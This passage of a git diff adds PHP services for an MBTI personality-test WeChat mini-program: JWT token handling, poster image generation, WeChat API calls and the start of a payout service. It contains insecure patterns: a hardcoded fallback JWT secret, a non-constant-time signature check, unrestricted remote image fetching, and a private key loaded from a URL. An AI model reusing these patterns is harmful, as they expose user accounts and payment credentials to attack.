null); + Cache::set($key, $token, $expire); + } + + return $token; + } + + /** + * 验证Token + * @param string $token + * @return array|false 返回载荷数据或false + */ + public static function verifyToken(string $token) + { + $parts = explode('.', $token); + if (count($parts) !== 3) { + return false; + } + + [$header, $payloadStr, $signature] = $parts; + + // 验证签名 + $secret = config('jwt.secret', 'mbti_jwt_secret_key_2024'); + $expectedSignature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret); + + if ($signature !== $expectedSignature) { + return false; + } + + // 解析载荷 + $payload = json_decode(base64_decode($payloadStr), true); + if (!$payload) { + return false; + } + + // 检查过期时间 + if (isset($payload['exp']) && $payload['exp'] < time()) { + return false; + } + + return $payload; + } + + /** + * 刷新Token + * @param string $token + * @return string|false 返回新Token或false + */ + public static function refreshToken(string $token) + { + $payload = self::verifyToken($token); + if (!$payload) { + return false; + } + + // 移除过期时间字段,重新生成 + unset($payload['exp'], $payload['iat']); + + return self::generateToken($payload); + } + + /** + * Token 缓存键(区分来源,避免与管理员同 id 冲突) + */ + public static function tokenCacheKey($userId, ?string $source = null): string + { + $prefix = $source ? 'jwt_token_' . $source . '_' : 'jwt_token_'; + return $prefix . $userId; + } + + /** + * 删除Token(注销) + * @param int $userId + * @param string|null $source 来源,如 wechat,不传则按管理员 token 键删除 + * @return bool + */ + public static function deleteToken(int $userId, ?string $source = null): bool + { + return Cache::delete(self::tokenCacheKey($userId, $source)); + } + + /** + * 从请求头获取Token + * @param \think\Request $request + * @return string|null + */ + public static function getTokenFromRequest($request): ?string + { + $authorization = $request->header('Authorization', ''); + + if ($authorization && preg_match('/Bearer\s+(.*)$/i', $authorization, $matches)) { + return $matches[1]; + } + + return null; + } +} + diff --git a/api/app/common/service/PosterService.php b/api/app/common/service/PosterService.php new file mode 100644 index 0000000..e3e0e37 --- /dev/null +++ b/api/app/common/service/PosterService.php @@ -0,0 +1,612 @@ + [显示名, 文件名] + * 文件存放于 public/fonts/ 目录 + */ + private const FONT_MAP = [ + 'noto-sans' => ['思源黑体', 'NotoSansCJKsc-Regular.otf'], + 'noto-serif' => ['思源宋体', 'NotoSerifCJKsc-Regular.otf'], + 'alimama' => ['阿里妈妈方圆体', 'AlimamaFangYuanTiVF.ttf'], + 'wqy-microhei' => ['文泉驿微米黑', 'wqy-microhei.ttc'], + ]; + + /** + * 返回服务器上实际可用的字体列表 + * @return array [ ['key'=>'noto-sans','name'=>'思源黑体'], ... ] + */ + public static function getAvailableFonts(): array + { + $base = root_path() . 'public/fonts/'; + $list = []; + foreach (self::FONT_MAP as $key => [$name, $file]) { + if (file_exists($base . $file)) { + $list[] = ['key' => $key, 'name' => $name]; + } + } + // 兼容旧字体 + $legacy = ['simhei.ttf' => '黑体', 'msyh.ttf' => '微软雅黑']; + foreach ($legacy as $file => $name) { + if (file_exists($base . $file)) { + $list[] = ['key' => pathinfo($file, PATHINFO_FILENAME), 'name' => $name]; + } + } + return $list; + } + + // ───────────────────────────────────────────── + // NEW:根据超管可视化配置渲染海报 + // ───────────────────────────────────────────── + + /** + * 读取 poster_config 并渲染,若无配置则回退到旧版 build() + * @param int|null $enterpriseId 企业 ID,优先读 enterprise_id={id} 行,无则降级到 enterprise_id=0 全局行 + */ + public static function buildFromConfig(array $user, string $qrBinary, ?string $avatarBinary = null, ?int $enterpriseId = null): string + { + $raw = null; + + // 1. 优先读取企业专属海报配置(enterprise_id 列) + if ($enterpriseId > 0) { + $eidRow = Db::name('system_config') + ->where('key', 'poster_config') + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($eidRow && !empty($eidRow['value'])) { + $raw = $eidRow['value']; + } + } + + // 2. 降级到全局配置(enterprise_id=0) + if ($raw === null) { + $row = Db::name('system_config') + ->where('key', 'poster_config') + ->where('enterprise_id', 0) + ->find(); + $raw = $row['value'] ?? null; + } + + // 安全解码:处理可能的多重 JSON 编码 + $cfg = null; + if ($raw) { + $val = $raw; + for ($i = 0; $i < 5 && is_string($val); $i++) { + $decoded = json_decode($val, true); + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; + $val = $decoded; + } + $cfg = is_array($val) ? $val : null; + } + + if (empty($cfg) || empty($cfg['elements']) || !is_array($cfg['elements'])) { + return self::build($user, $qrBinary, $avatarBinary); + } + + return self::renderConfig($cfg, $user, $qrBinary, $avatarBinary); + } + + /** + * 根据配置数组渲染海报 + */ + private static function renderConfig(array $cfg, array $user, string $qrBinary, ?string $avatarBinary): string + { + $s = self::SCALE; + $cw = self::CANVAS_W * $s; + $ch = self::CANVAS_H * $s; + + $img = imagecreatetruecolor($cw, $ch); + if (!$img) throw new \RuntimeException('GD image create failed'); + imagesavealpha($img, true); + imagealphablending($img, true); + + // 背景颜色 + $bgColorHex = $cfg['bgColor'] ?? '#ffffff'; + $bgRgb = self::parseColorToRgb($bgColorHex); + $bgColor = imagecolorallocate($img, $bgRgb[0], $bgRgb[1], $bgRgb[2]); + imagefilledrectangle($img, 0, 0, $cw - 1, $ch - 1, $bgColor); + + // 背景图片 + if (!empty($cfg['bgImage'])) { + $bgBin = self::fetchImage($cfg['bgImage']); + if ($bgBin) { + $bgImg = @imagecreatefromstring($bgBin); + if ($bgImg) { + imagecopyresampled($img, $bgImg, 0, 0, 0, 0, $cw, $ch, imagesx($bgImg), imagesy($bgImg)); + imagedestroy($bgImg); + } + } + } + + // 缓存图像资源 + $qrRes = null; + $avatarRes = null; + + // 预先查询用户最近的测试结果(mbti / pdp / disc / face) + $testResults = self::fetchLatestTestResults((int)($user['id'] ?? 0)); + + foreach ($cfg['elements'] as $el) { + $type = $el['type'] ?? ''; + $x = (int)(($el['x'] ?? 0) * $s); + $y = (int)(($el['y'] ?? 0) * $s); + $w = (int)(($el['w'] ?? 80) * $s); + $h = (int)(($el['h'] ?? 80) * $s); + + $fontKey = $el['fontFamily'] ?? null; + // 对齐方式:优先 align 字段,兼容旧 center 字段 + $align = $el['align'] ?? (!empty($el['center']) ? 'center' : 'left'); + + switch ($type) { + case 'text': + $text = $el['content'] ?? ''; + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + + case 'nickname': + $text = mb_substr($user['nickname'] ?? '好友', 0, 20); + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + + case 'avatar': + if ($avatarBinary) { + if (!$avatarRes) $avatarRes = @imagecreatefromstring($avatarBinary); + if ($avatarRes) { + $shape = $el['shape'] ?? 'circle'; + self::drawImageElement($img, $avatarRes, $x, $y, $w, $h, $shape); + } + } + break; + + case 'qrcode': + if (!$qrRes) $qrRes = @imagecreatefromstring($qrBinary); + if ($qrRes) { + self::drawImageElement($img, $qrRes, $x, $y, $w, $h, 'square'); + } + break; + + case 'image': + if (!empty($el['url'])) { + $bin = self::fetchImage($el['url']); + if ($bin) { + $staticImg = @imagecreatefromstring($bin); + if ($staticImg) { + $shape = $el['shape'] ?? 'square'; + self::drawImageElement($img, $staticImg, $x, $y, $w, $h, $shape); + imagedestroy($staticImg); + } + } + } + break; + + case 'mbti': + case 'pdp': + case 'disc': + $text = $testResults[$type] ?? ($el['content'] ?? strtoupper($type)); + $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s)); + $colorHex = $el['color'] ?? '#333333'; + $bold = !empty($el['bold']); + $colorInt = self::allocateHexColor($img, $colorHex); + self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey); + break; + } + } + + if ($qrRes) imagedestroy($qrRes); + if ($avatarRes) imagedestroy($avatarRes); + + ob_start(); + imagepng($img); + $png = ob_get_clean(); + imagedestroy($img); + return $png ?: ''; + } + + /** + * 查询用户最近各类型测试的 resultText + * 复用 Test::_formatRecentRow 的解析逻辑 + * @return array ['mbti' => 'ESTP', 'pdp' => '老虎型', 'disc' => 'D型'] + */ + private static function fetchLatestTestResults(int $userId): array + { + $out = []; + if ($userId <= 0) return $out; + + $types = ['face', 'mbti', 'pdp', 'disc']; + foreach ($types as $t) { + $row = Db::name('test_results') + ->where('userId', $userId) + ->where('testType', $t) + ->order('createdAt', 'desc') + ->field('resultData, testType') + ->find(); + if (!$row || empty($row['resultData'])) continue; + $raw = $row['resultData']; + $data = is_string($raw) ? json_decode($raw, true) : $raw; + if (!is_array($data)) continue; + + switch ($t) { + case 'face': + // face 结果中包含 mbti/pdp/disc 子结构 + if (!isset($out['mbti'])) { + $v = ''; + if (isset($data['mbti']['type'])) $v = $data['mbti']['type']; + elseif (isset($data['mbti']) && is_scalar($data['mbti'])) $v = (string)$data['mbti']; + if ($v !== '') $out['mbti'] = $v; + } + if (!isset($out['pdp'])) { + $v = ''; + if (isset($data['pdp']['type'])) $v = $data['pdp']['type']; + elseif (isset($data['pdp']) && is_scalar($data['pdp'])) $v = (string)$data['pdp']; + if ($v !== '') $out['pdp'] = $v; + } + if (!isset($out['disc'])) { + $v = ''; + if (isset($data['disc']['primary'])) $v = $data['disc']['primary'] . '型'; + elseif (isset($data['disc']) && is_scalar($data['disc'])) $v = (string)$data['disc']; + if ($v !== '') $out['disc'] = $v; + } + break; + case 'mbti': + if (!isset($out['mbti'])) { + $v = $data['mbtiType'] ?? $data['mbti'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? ''; + if ((string)$v !== '') $out['mbti'] = (string)$v; + } + break; + case 'pdp': + if (!isset($out['pdp'])) { + $v = $data['description']['type'] ?? $data['pdp'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? ''; + if ((string)$v !== '') $out['pdp'] = (string)$v; + } + break; + case 'disc': + if (!isset($out['disc'])) { + $v = $data['dominantType'] ?? $data['disc'] ?? ''; + if (is_array($v)) $v = $v['type'] ?? $v['primary'] ?? ''; + if ((string)$v !== '') $out['disc'] = (string)$v . '型'; + } + break; + } + } + return $out; + } + + /** + * 在指定区域内绘制文字(imagettftext 的 y 为基线坐标) + */ + private static function drawTextBlock($img, int $x, int $y, int $w, int $h, string $text, int $color, int $fontSize, bool $bold, string $align = 'left', ?string $fontKey = null): void + { + $font = self::getFontPath($fontKey); + if ($font && function_exists('imagettftext')) { + $textW = self::ttfTextWidth($font, $fontSize, $text); + switch ($align) { + case 'center': $drawX = $x + (int)(($w - $textW) / 2); break; + case 'right': $drawX = $x + $w - $textW - 6; break; + default: $drawX = $x + 6; break; + } + $drawY = $y + (int)(($h + $fontSize * 0.8) / 2); + imagettftext($img, $fontSize, 0, $drawX, $drawY, $color, $font, $text); + } else { + $f = $fontSize <= 16 ? 4 : 5; + $textW = imagefontwidth($f) * mb_strlen($text); + switch ($align) { + case 'center': $drawX = $x + (int)(($w - $textW) / 2); break; + case 'right': $drawX = $x + $w - $textW - 4; break; + default: $drawX = $x + 4; break; + } + imagestring($img, $f, $drawX, $y + (int)(($h - imagefontheight($f)) / 2), preg_replace('/[^\x20-\x7e]/', '?', $text), $color); + } + } + + /** + * 估算 TTF 文字宽度(近似) + */ + private static function ttfTextWidth(string $font, int $size, string $text): int + { + if (function_exists('imagettfbbox')) { + $box = imagettfbbox($size, 0, $font, $text); + return $box ? abs($box[4] - $box[0]) : $size * mb_strlen($text); + } + return $size * mb_strlen($text); + } + + /** + * 将图像资源绘制到画布(支持圆形/方形裁剪) + */ + private static function drawImageElement($img, $src, int $x, int $y, int $w, int $h, string $shape): void + { + $srcW = imagesx($src); + $srcH = imagesy($src); + + if ($shape === 'circle') { + // 先绘制到临时图像再做圆形遮罩 + $tmp = imagecreatetruecolor($w, $h); + imagesavealpha($tmp, true); + imagealphablending($tmp, false); + $transparent = imagecolorallocatealpha($tmp, 0, 0, 0, 127); + imagefilledrectangle($tmp, 0, 0, $w - 1, $h - 1, $transparent); + imagealphablending($tmp, true); + imagecopyresampled($tmp, $src, 0, 0, 0, 0, $w, $h, $srcW, $srcH); + + // 圆形遮罩(逐像素)—— 仅在 GD 无更好方案时使用 + $mask = imagecreatetruecolor($w, $h); + imagesavealpha($mask, true); + imagealphablending($mask, false); + imagefilledrectangle($mask, 0, 0, $w - 1, $h - 1, imagecolorallocatealpha($mask, 0, 0, 0, 127)); + imagealphablending($mask, true); + imagefilledellipse($mask, (int)($w / 2), (int)($h / 2), $w, $h, imagecolorallocate($mask, 255, 255, 255)); + + // 将 tmp 叠加到主图(遮罩内白外黑,白色表示保留区域) + for ($px = 0; $px < $w; $px++) { + for ($py = 0; $py < $h; $py++) { + $mPx = imagecolorat($mask, $px, $py); + $rMask = ($mPx >> 16) & 0xFF; + if ($rMask > 128) { + $srcPx = imagecolorat($tmp, $px, $py); + $r = ($srcPx >> 16) & 0xFF; + $g = ($srcPx >> 8) & 0xFF; + $b = $srcPx & 0xFF; + $c = imagecolorallocate($img, $r, $g, $b); + imagesetpixel($img, $x + $px, $y + $py, $c); + } + } + } + imagedestroy($tmp); + imagedestroy($mask); + } else { + imagecopyresampled($img, $src, $x, $y, 0, 0, $w, $h, $srcW, $srcH); + } + } + + /** + * 将颜色字符串解析为 RGB 数组 + * 支持 #fff、#ffffff、rgba(r,g,b,a)、rgb(r,g,b)、数组 [r,g,b] + */ + private static function parseColorToRgb($color): array + { + if (is_array($color)) { + $r = (int)($color['r'] ?? $color[0] ?? 51); + $g = (int)($color['g'] ?? $color[1] ?? 51); + $b = (int)($color['b'] ?? $color[2] ?? 51); + return [min(255, max(0, $r)), min(255, max(0, $g)), min(255, max(0, $b))]; + } + if (!is_string($color) && !is_scalar($color)) { + return [51, 51, 51]; + } + $s = trim((string)$color); + if ($s === '') { + return [51, 51, 51]; + } + // rgba(r,g,b,a) 或 rgb(r,g,b) + if (preg_match('/^rgba?\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)/i', $s, $m)) { + return [(int)min(255, $m[1]), (int)min(255, $m[2]), (int)min(255, $m[3])]; + } + // 仅保留 # 后合法十六进制字符 + $hex = preg_replace('/[^0-9a-fA-F]/', '', ltrim($s, '#')); + if (strlen($hex) === 3) { + $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2]; + } + if (strlen($hex) !== 6) { + return [51, 51, 51]; + } + $r = (int)hexdec(substr($hex, 0, 2)); + $g = (int)hexdec(substr($hex, 2, 2)); + $b = (int)hexdec(substr($hex, 4, 2)); + return [min(255, $r), min(255, $g), min(255, $b)]; + } + + private static function allocateHexColor($img, $hex): int + { + [$r, $g, $b] = self::parseColorToRgb($hex); + return imagecolorallocate($img, $r, $g, $b); + } + + /** + * 根据字体 key 获取字体文件路径;key 为空则返回第一个可用字体 + */ + private static function getFontPath(?string $fontKey = null): ?string + { + $base = root_path() . 'public/fonts/'; + + // 按 key 精确查找 + if ($fontKey) { + if (isset(self::FONT_MAP[$fontKey])) { + $p = $base . self::FONT_MAP[$fontKey][1]; + if (file_exists($p)) return $p; + } + // 兼容旧字体 key(如 simhei / msyh) + $legacy = $base . $fontKey . '.ttf'; + if (file_exists($legacy)) return $legacy; + } + + // 回退:按优先级返回第一个可用字体 + foreach (self::FONT_MAP as [$name, $file]) { + $p = $base . $file; + if (file_exists($p)) return $p; + } + $fallbacks = [$base . 'simhei.ttf', $base . 'msyh.ttf', '/usr/share/fonts/truetype/wqy/wqy-microhei.ttc']; + foreach ($fallbacks as $p) { + if (file_exists($p)) return $p; + } + return null; + } + + private static function drawText($img, int $x, int $y, string $text, int $color, int $size = 14): void + { + $font = self::getFontPath(); + if ($font && function_exists('imagettftext')) { + imagettftext($img, $size, 0, $x, $y + $size, $color, $font, $text); + } else { + $f = $size <= 12 ? 4 : 5; + imagestring($img, $f, $x, $y, preg_replace('/[^\x20-\x7e]/', '', $text) ?: $text, $color); + } + } + + /** + * 合成推广海报 PNG 二进制 + * @param array $user 当前用户 {id, nickname, avatar} + * @param string $qrBinary 小程序码 PNG 二进制 + * @param string|null $avatarBinary 头像二进制(已下载),为空则跳过 + */ + public static function build(array $user, string $qrBinary, ?string $avatarBinary = null): string + { + $w = self::WIDTH; + $h = self::HEIGHT; + $img = imagecreatetruecolor($w, $h); + if (!$img) { + throw new \RuntimeException('GD image create failed'); + } + imagesavealpha($img, true); + imagealphablending($img, true); + + self::drawGradient($img, 0, 0, $w, (int)($h * 0.45), [0xFF, 0xD1, 0xE3], [0xE9, 0xD5, 0xFF]); + $white = imagecolorallocate($img, 255, 255, 255); + imagefilledrectangle($img, 0, (int)($h * 0.4), $w, $h, $white); + + $primary = imagecolorallocate($img, 244, 63, 94); + $secondary = imagecolorallocate($img, 139, 92, 246); + $orange = imagecolorallocate($img, 249, 115, 22); + $dark = imagecolorallocate($img, 30, 41, 59); + $gray = imagecolorallocate($img, 100, 116, 139); + $lightGray = imagecolorallocate($img, 148, 163, 184); + $cx = (int)($w / 2); + + self::drawRoundedRect($img, 30, 50, 60, 20, 10, imagecolorallocatealpha($img, 255, 255, 255, 80)); + self::drawRoundedRect($img, 130, 50, 60, 20, 10, $primary); + self::drawText($img, 45, 52, '专业分析', $primary, 10); + self::drawText($img, 145, 52, '结果精准', $white, 10); + + self::drawText($img, $cx - 80, 100, 'MBTI 神仙测试', $dark, 22); + + self::drawRoundedRect($img, $cx - 80, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50)); + self::drawRoundedRect($img, $cx + 5, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50)); + self::drawText($img, $cx - 70, 155, 'INTJ', $primary, 10); + self::drawText($img, $cx - 45, 155, '战略家', $gray, 10); + self::drawText($img, $cx + 15, 155, 'PDP', $secondary, 10); + self::drawText($img, $cx + 40, 155, '猫头鹰', $gray, 10); + + $gridY = 220; + $gridW = (int)(($w - 80) / 3); + self::drawStatCard($img, 30, $gridY, $gridW, 70, '100+', '性格档案', $primary); + self::drawStatCard($img, 30 + $gridW + 10, $gridY, $gridW, 70, '0%', '好友折扣', $secondary); + self::drawStatCard($img, 30 + ($gridW + 10) * 2, $gridY, $gridW, 70, '90%', '收益分红', $orange); + + $cardY = 320; + self::drawRoundedRect($img, 30, $cardY, $w - 60, 180, 20, $white); + imagefilledrectangle($img, 45, $cardY + 18, 49, $cardY + 34, $primary); + self::drawText($img, 55, $cardY + 15, '完整版性格深度解析', $dark, 12); + $bullets = [ + '你的决策风格在高压场景下会如何变化?', + '在团队中更适合担当怎样的关键角色?', + '哪些性格盲区最容易拖累你的发展?', + ]; + foreach ($bullets as $i => $t) { + self::drawText($img, 50, $cardY + 50 + $i * 28, '• ' . $t, $gray, 10); + } + + $recY = 530; + self::drawRoundedRect($img, $cx - 100, $recY, 200, 36, 18, imagecolorallocate($img, 248, 250, 252)); + if ($avatarBinary) { + $avatar = @imagecreatefromstring($avatarBinary); + if ($avatar) { + imagecopyresampled($img, $avatar, $cx - 92, $recY + 6, 0, 0, 24, 24, imagesx($avatar), imagesy($avatar)); + imagedestroy($avatar); + } + } + $nickname = mb_substr($user['nickname'] ?? '好友', 0, 8); + self::drawText($img, $cx - 95, $recY + 12, '由 ' . $nickname . ' 推荐给你', $gray, 10); + + $qrY = 620; + $qrImg = @imagecreatefromstring($qrBinary); + if ($qrImg) { + $qrSize = 88; + $qrX = $cx - (int)($qrSize / 2); + imagecopyresampled($img, $qrImg, $qrX, $qrY + 6, 0, 0, $qrSize, $qrSize, imagesx($qrImg), imagesy($qrImg)); + imagedestroy($qrImg); + } + self::drawText($img, $cx - 80, $qrY + 100, '扫码解锁完整报告', $lightGray, 10); + $inviteCode = 'MBTI-' . ($user['id'] ?? '888'); + self::drawText($img, $cx - 60, $qrY + 125, '邀请码 ' . $inviteCode, $primary, 11); + + ob_start(); + imagepng($img); + $png = ob_get_clean(); + imagedestroy($img); + return $png ?: ''; + } + + private static function drawGradient($img, $x, $y, $w, $h, array $from, array $to): void + { + for ($i = 0; $i < $h; $i++) { + $r = (int)($from[0] + ($to[0] - $from[0]) * $i / $h); + $g = (int)($from[1] + ($to[1] - $from[1]) * $i / $h); + $b = (int)($from[2] + ($to[2] - $from[2]) * $i / $h); + $c = imagecolorallocate($img, max(0, min(255, $r)), max(0, min(255, $g)), max(0, min(255, $b))); + imagefilledrectangle($img, $x, $y + $i, $x + $w - 1, $y + $i, $c); + } + } + + private static function drawRoundedRect($img, $x, $y, $w, $h, $r, $color): void + { + imagefilledrectangle($img, $x + $r, $y, $x + $w - $r - 1, $y + $h - 1, $color); + imagefilledrectangle($img, $x, $y + $r, $x + $w - 1, $y + $h - $r - 1, $color); + imagefilledellipse($img, $x + $r, $y + $r, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $w - $r - 1, $y + $r, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $r, $y + $h - $r - 1, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $w - $r - 1, $y + $h - $r - 1, $r * 2, $r * 2, $color); + } + + private static function drawStatCard($img, $x, $y, $w, $h, string $val, string $label, int $color): void + { + $white = imagecolorallocate($img, 255, 255, 255); + self::drawRoundedRect($img, $x, $y, $w, $h, 15, $white); + $gray = imagecolorallocate($img, 148, 163, 184); + $lw = imagefontwidth(5) * strlen($val); + imagestring($img, 5, $x + ($w - $lw) / 2, $y + 20, $val, $color); + $lw2 = imagefontwidth(4) * strlen($label); + imagestring($img, 4, $x + ($w - $lw2) / 2, $y + 45, $label, $gray); + } + + /** + * 下载远程图片为二进制 + */ + public static function fetchImage(string $url): ?string + { + $url = str_replace('http://', 'https://', $url); + $ctx = stream_context_create(['http' => ['timeout' => 10]]); + $bin = @file_get_contents($url, false, $ctx); + return $bin !== false ? $bin : null; + } +} diff --git a/api/app/common/service/WechatService.php b/api/app/common/service/WechatService.php new file mode 100644 index 0000000..dddf284 --- /dev/null +++ b/api/app/common/service/WechatService.php @@ -0,0 +1,194 @@ + $now + 300) { + return ['access_token' => self::$cachedAccessToken]; + } + $appId = config('wechat.app_id'); + $appSecret = config('wechat.app_secret'); + if (empty($appId) || empty($appSecret)) { + return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret']; + } + $url = self::$tokenUrl . '?' . http_build_query([ + 'grant_type' => 'client_credential', + 'appid' => $appId, + 'secret' => $appSecret, + ]); + $resp = @file_get_contents($url); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + $token = $data['access_token'] ?? ''; + $expiresIn = (int) ($data['expires_in'] ?? 7200); + self::$cachedAccessToken = $token; + self::$cachedAccessTokenExpire = $now + $expiresIn; + return ['access_token' => $token]; + } + + /** + * 用 getPhoneNumber 回调里的 code 换取手机号 + * @param string $code 小程序 button open-type="getPhoneNumber" 回调中的 detail.code + * @return array{phoneNumber:string,purePhoneNumber:string,countryCode:string}|array{errcode:int,errmsg:string} + */ + public static function getPhoneNumber(string $code): array + { + $tokenResult = self::getAccessToken(); + if (isset($tokenResult['errcode'])) { + return $tokenResult; + } + $accessToken = $tokenResult['access_token']; + $url = self::$getPhoneNumberUrl . '?access_token=' . urlencode($accessToken); + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => 'Content-Type: application/json', + 'content' => json_encode(['code' => $code]), + ], + ]); + $resp = @file_get_contents($url, false, $ctx); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + $phoneInfo = $data['phone_info'] ?? []; + $purePhoneNumber = $phoneInfo['purePhoneNumber'] ?? $phoneInfo['phoneNumber'] ?? ''; + $phoneNumber = $phoneInfo['phoneNumber'] ?? $purePhoneNumber; + $countryCode = $phoneInfo['countryCode'] ?? '86'; + return [ + 'phoneNumber' => $phoneNumber, + 'purePhoneNumber' => $purePhoneNumber, + 'countryCode' => $countryCode, + ]; + } + + /** + * code 换取 openid、session_key(及 unionid) + * @param string $code 小程序 wx.login 返回的 code + * @return array{openid:string,session_key:string,unionid?:string}|array{errcode:int,errmsg:string} + */ + public static function jscode2session(string $code): array + { + $appId = config('wechat.app_id'); + $appSecret = config('wechat.app_secret'); + if (empty($appId) || empty($appSecret)) { + return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret']; + } + + $url = self::$jscode2sessionUrl . '?' . http_build_query([ + 'appid' => $appId, + 'secret' => $appSecret, + 'js_code' => $code, + 'grant_type' => 'authorization_code', + ]); + + $resp = @file_get_contents($url); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + + return [ + 'openid' => $data['openid'] ?? '', + 'session_key' => $data['session_key'] ?? '', + 'unionid' => $data['unionid'] ?? null, + ]; + } + + /** + * 生成带参数的小程序码(永久有效),返回原始二进制或错误信息 + * @param string $scene 最大 32 个可见字符,用于区分邀请人/渠道 + * @param string $page 小程序页面路径,如 pages/index/index + * @param int $width 小程序码宽度,默认 430 + * @return array{binary:string}|array{errcode:int,errmsg:string} + */ + public static function getWxacodeUnlimited(string $scene, string $page, int $width = 430): array + { + $tokenResult = self::getAccessToken(); + if (isset($tokenResult['errcode'])) { + return $tokenResult; + } + $accessToken = $tokenResult['access_token']; + $url = self::$getWxacodeUnlimitedUrl . '?access_token=' . urlencode($accessToken); + $payload = [ + 'scene' => mb_substr($scene, 0, 32), + 'page' => $page, + 'width' => $width, + 'check_path' => false, + ]; + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => 'Content-Type: application/json', + 'content' => json_encode($payload, JSON_UNESCAPED_UNICODE), + ], + ]); + $resp = @file_get_contents($url, false, $ctx); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + // 微信错误时返回 JSON,成功时返回图片二进制 + $head = substr($resp, 0, 1); + if ($head === '{' || $head === '[') { + $data = json_decode($resp, true); + if (is_array($data) && isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + } + return ['binary' => $resp]; + } +} diff --git a/api/app/common/service/WechatTransferService.php b/api/app/common/service/WechatTransferService.php new file mode 100644 index 0000000..a1b34de --- /dev/null +++ b/api/app/common/service/WechatTransferService.php @@ -0,0 +1,495 @@ +mchId = env('MCH_ID', ''); + $this->appId = env('WECHAT_APPID', ''); + $this->apiV3Key = env('API_KEY', ''); + $this->certSerialNo= env('CERT_SERIAL_NO', ''); + + if (!$this->mchId || !$this->appId || !$this->apiV3Key || !$this->certSerialNo) { + throw new Exception('微信转账配置不完整,请检查 .env 中的 MCH_ID / WECHAT_APPID / API_KEY / CERT_SERIAL_NO'); + } + + // 私钥:支持本地路径、URL 或直接内容 + $privateKeyConf = env('PRIVATE_KEY', ''); + if ($privateKeyConf) { + if (file_exists($privateKeyConf)) { + $this->privateKey = file_get_contents($privateKeyConf); + } elseif (filter_var($privateKeyConf, FILTER_VALIDATE_URL)) { + $this->privateKey = file_get_contents($privateKeyConf); + if ($this->privateKey === false) { + Log::error('无法从URL加载私钥', ['url' => $privateKeyConf]); + $this->privateKey = ''; + } + } else { + $this->privateKey = $privateKeyConf; + } + } + if (empty($this->privateKey)) { + throw new Exception('商户私钥加载失败,请检查 PRIVATE_KEY 配置'); + } + + // 公钥(可选):用于后续回调验签,支持本地路径、URL 或直接内容 + $publicKeyConf = env('WECHAT_PAY_PUB_KEY', ''); + $this->publicKey = ''; + if ($publicKeyConf) { + if (file_exists($publicKeyConf)) { + $this->publicKey = file_get_contents($publicKeyConf); + } elseif (filter_var($publicKeyConf, FILTER_VALIDATE_URL)) { + $this->publicKey = file_get_contents($publicKeyConf); + if ($this->publicKey === false) { + Log::error('无法从URL加载公钥', ['url' => $publicKeyConf]); + $this->publicKey = ''; + } + } else { + $this->publicKey = $publicKeyConf; + } + } + } + + /** + * 发起转账 + * @param array $params 转账参数 + * - out_bill_no: 商户单号(必填) + * - openid: 收款用户OpenID(必填) + * - transfer_amount: 转账金额,单位:分(必填) + * - transfer_remark: 转账备注(必填) + * - transfer_scene_id: 转账场景ID(必填,如:1000现金营销,1006企业报销) + * - user_name: 收款用户姓名(选填,>=2000元必填) + * - transfer_scene_report_infos: 转账场景报备信息(必填) + * - notify_url: 通知地址(选填) + * - user_recv_perception: 用户收款感知(选填) + * @return array + */ + public function createTransfer($params) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills'; + + // 构建请求体 + $body = [ + 'appid' => $this->appId, + 'out_bill_no' => $params['out_bill_no'], + 'transfer_scene_id' => $params['transfer_scene_id'], + 'openid' => $params['openid'], + 'transfer_amount' => intval($params['transfer_amount']), + 'transfer_remark' => $params['transfer_remark'], + // 场景报备信息(必填):岗位类型 + 报酬说明 + 